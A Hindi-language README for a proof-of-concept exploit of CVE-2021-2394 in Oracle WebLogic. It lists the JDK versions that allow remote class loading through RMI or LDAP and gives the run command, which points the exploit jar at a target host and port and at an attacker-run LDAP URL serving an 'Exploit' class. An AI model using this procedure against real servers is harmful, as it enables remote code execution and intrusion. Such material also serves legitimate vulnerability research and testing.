CVE-2021-2394

CVE-2021-2394 का POC

• अस्वीकरण
  • परियोजना केवल सीखने के उद्देश्यों के लिए है, किसी भी अनधिकृत जाँच से होने वाले प्रत्यक्ष या अप्रत्यक्ष परिणामों और हानियों के लिए उपयोगकर्ता स्वयं जिम्मेदार है

• ध्यान देने योग्य बातें

  • POC IIOP का उपयोग करके पैकेट भेजता है, कृपया संबंधित निर्भरताएँ जोड़ें (12.2.1.3.0 संस्करण की निर्भरताएँ release में डाल दी गई हैं)
  • कृपया weblogic का परीक्षण करने के लिए JDK के निम्न संस्करण का उपयोग करें

    RMI-आधारित उपयोग विधि, JDK संस्करण 6u132, 7u131, 8u121 से पहले तक सीमित है; 8u122 और उसके बाद के संस्करणों में, डीसीरियलाइज़ेशन व्हाइटलिस्ट तंत्र जोड़ा गया, RMI दूरस्थ कोड लोडिंग बंद कर दी गई LDAP-आधारित उपयोग विधि, JDK संस्करण 6u211, 7u201, 8u191, 11.0.1 से पहले तक सीमित है; 8u191 संस्करण में, Oracle ने LDAP वेक्टर पर प्रतिबंध लगाए, CVE-2018-3149 जारी किया, JNDI दूरस्थ क्लास लोडिंग बंद कर दी स्रोत: https://www.freebuf.com/vuls/279465.html

  • वर्चुअल मशीन वातावरण में पुनरुत्पादन नहीं होने पर https://xz.aliyun.com/t/7498 देखें

• उपयोग विधि:

  • एक ldap सेवा प्रारंभ करें
  • java -jar CVE_2021_2394.jar rhost rport ldapurl
  • उदाहरण: java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit

• संदर्भ लिंक:

  • https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
  • https://github.com/Y4er/CVE-2020-14756
  • https://github.com/Y4er/CVE-2020-2551

• अद्यतन

  • 2021/8/15 कुछ अनावश्यक कोड हटाए गए

• विश्लेषण लेख

  • https://mp.weixin.qq.com/s/AxJJxbkclr4ijXX8lpNAfw